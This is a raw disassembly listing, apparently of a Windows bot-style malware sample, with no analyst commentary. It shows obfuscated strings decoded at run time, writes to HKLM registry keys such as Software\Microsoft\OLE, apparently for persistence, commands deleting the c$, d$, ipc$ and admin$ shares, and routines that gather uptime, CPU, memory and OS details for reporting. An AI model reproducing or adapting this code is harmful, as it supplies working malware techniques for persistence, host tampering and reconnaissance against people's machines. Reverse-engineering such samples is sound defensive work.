		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	80000002h
		call	esi ; dword_50F75C
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1A0h+var_164]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+178h+var_8C]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	byte ptr [esp+188h+var_4], 1Fh
		call	sub_4017E4
		mov	edx, [esp+188h+var_168]
		push	eax
		push	edx
		nop
		call	near ptr 2950000h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	eax, [esp+178h+var_168]
		mov	edi, dword_50F738
		push	eax
		call	edi ; dword_50F738
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+184h+var_100]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F75C
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+19Ch+var_164]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+17Ch+var_168]
		push	eax
		call	ebp ; dword_50F764
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	ecx, [esp+178h+var_168]
		push	ecx
		call	edi ; dword_50F738
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+19Ch+var_164]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		lea	ecx, [esp+178h+var_134]
		call	sub_401424
		mov	bl, 22h
		push	104h
		push	104h
		lea	ecx, [esp+180h+var_134]
		mov	byte ptr [esp+180h+var_4], bl
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0B29h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	eax, [esp+19Ch+var_164]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 23h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_134]
		push	offset aSS_0	; "%s\\%s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_134]
		call	sub_401681
		push	eax
		call	near ptr 27E08F2h
		nop
		lea	edx, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	edx
		push	0F003Fh
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F75C
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		lea	eax, [esp+198h+var_164]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 24h
		call	sub_4017E4
		mov	ecx, [esp+178h+var_168]
		push	eax
		push	ecx
		call	ebp ; dword_50F764
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	edx, [esp+178h+var_168]
		push	edx
		call	edi ; dword_50F738
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	48h
		push	49h
		push	12h
		push	45h
		push	45h
		lea	eax, [esp+1A8h+var_164]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 25h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	104h
		push	104h
		lea	ecx, [esp+180h+var_134]
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0B29h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	48h
		push	49h
		push	12h
		push	45h
		push	45h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+180h+var_134]
		push	offset aSS_0	; "%s\\%s"
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_134]
		call	sub_401681
		push	eax
		nop
		call	near ptr 27E08F2h
		lea	eax, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	eax
		push	0F003Fh
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F75C
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	ecx, [esp+19Ch+var_164]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 27h
		call	sub_4017E4
		mov	edx, [esp+178h+var_168]
		push	eax
		push	edx
		call	ebp ; dword_50F764
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_168]
		push	eax
		call	edi ; dword_50F738
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	13h
		push	19h
		push	13h
		push	0Eh
		push	9
		lea	ecx, [esp+1A0h+var_164]
		push	17h
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 28h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	104h
		push	104h
		lea	ecx, [esp+180h+var_134]
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0B29h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	13h
		push	19h
		push	13h
		push	0Eh
		push	9
		lea	edx, [esp+1A0h+var_164]
		push	17h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 29h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_134]
		push	offset aSS_0	; "%s\\%s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_134]
		call	sub_401681
		push	eax
		nop
		call	near ptr 27E08F2h
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+184h+var_100]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F75C
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4
		push	47h
		lea	edx, [esp+1ACh+var_164]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Ah
		call	sub_4017E4
		push	eax
		mov	eax, [esp+17Ch+var_168]
		push	eax
		call	ebp ; dword_50F764
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+178h+var_168]
		push	ecx
		call	edi ; dword_50F738
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	0Ch
		push	7
		push	1
		push	5
		push	2
		lea	edx, [esp+1A4h+var_164]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Bh
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	104h
		push	104h
		lea	ecx, [esp+180h+var_134]
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0B29h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	0Ch
		push	7
		push	1
		push	5
		push	2
		lea	eax, [esp+1A4h+var_164]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_134]
		push	offset aSS_0	; "%s\\%s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_134]
		call	sub_401681
		push	eax
		nop
		call	near ptr 27E08F2h
		lea	edx, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	edx
		push	0F003Fh
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F75C
		push	0
		push	0Eh
		push	0Fh
		push	27h
		push	0Bh
		push	13h
		push	1
		lea	eax, [esp+194h+var_164]
		push	2Eh
		push	eax
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Dh
		call	sub_4017E4
		mov	ecx, [esp+178h+var_168]
		push	eax
		push	ecx
		call	ebp ; dword_50F764
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	edx, [esp+178h+var_168]
		push	edx
		call	edi ; dword_50F738
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	0Eh
		push	0Fh
		push	0Dh
		push	0Bh
		push	13h
		push	1
		lea	eax, [esp+1A4h+var_164]
		push	14h
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Eh
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	104h
		push	104h
		lea	ecx, [esp+180h+var_134]
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0B29h
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	0Eh
		push	0Fh
		push	0Dh
		push	0Bh
		push	13h
		push	1
		lea	ecx, [esp+1A4h+var_164]
		push	14h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 2Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_134]
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s\\%s"
		lea	edx, [esp+184h+var_134]
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_134]
		call	sub_401681
		push	eax
		nop
		call	near ptr 27E08F2h
		lea	eax, [esp+178h+var_168]
		lea	ecx, [esp+178h+var_100]
		push	eax
		push	0F003Fh
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi ; dword_50F75C
		push	0
		push	12h
		push	5
		push	12h
		push	0Fh
		push	0Ch
		push	10h
		push	18h
		lea	ecx, [esp+198h+var_E8]
		push	1Fh
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 30h
		call	sub_4017E4
		mov	edx, [esp+178h+var_168]
		push	eax
		push	edx
		call	ebp ; dword_50F764
		lea	ecx, [esp+178h+var_E8]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_168]
		push	eax
		call	edi ; dword_50F738
		mov	esi, dword_50FB04
		push	offset aNetShareCDelet ; "net share c$ /delete /y"
		call	esi ; dword_50FB04
		push	offset aNetShareDDelet ; "net share d$ /delete /y"
		call	esi ; dword_50FB04
		push	offset aNetShareIpcDel ; "net share ipc$ /delete /y"
		call	esi ; dword_50FB04
		push	offset aNetShareAdminD ; "net share admin$ /delete /y"
		call	esi ; dword_50FB04
		add	esp, 10h
		lea	ecx, [esp+178h+var_134]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		lea	ecx, [esp+178h+var_100]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 550h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		call	near ptr 27E083Eh
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F70
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27E083Eh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		call	near ptr 2820000h
		nop
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2810000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 280100Eh
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2930000h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp ; dword_50FAF4
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp ; dword_50FAF4
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


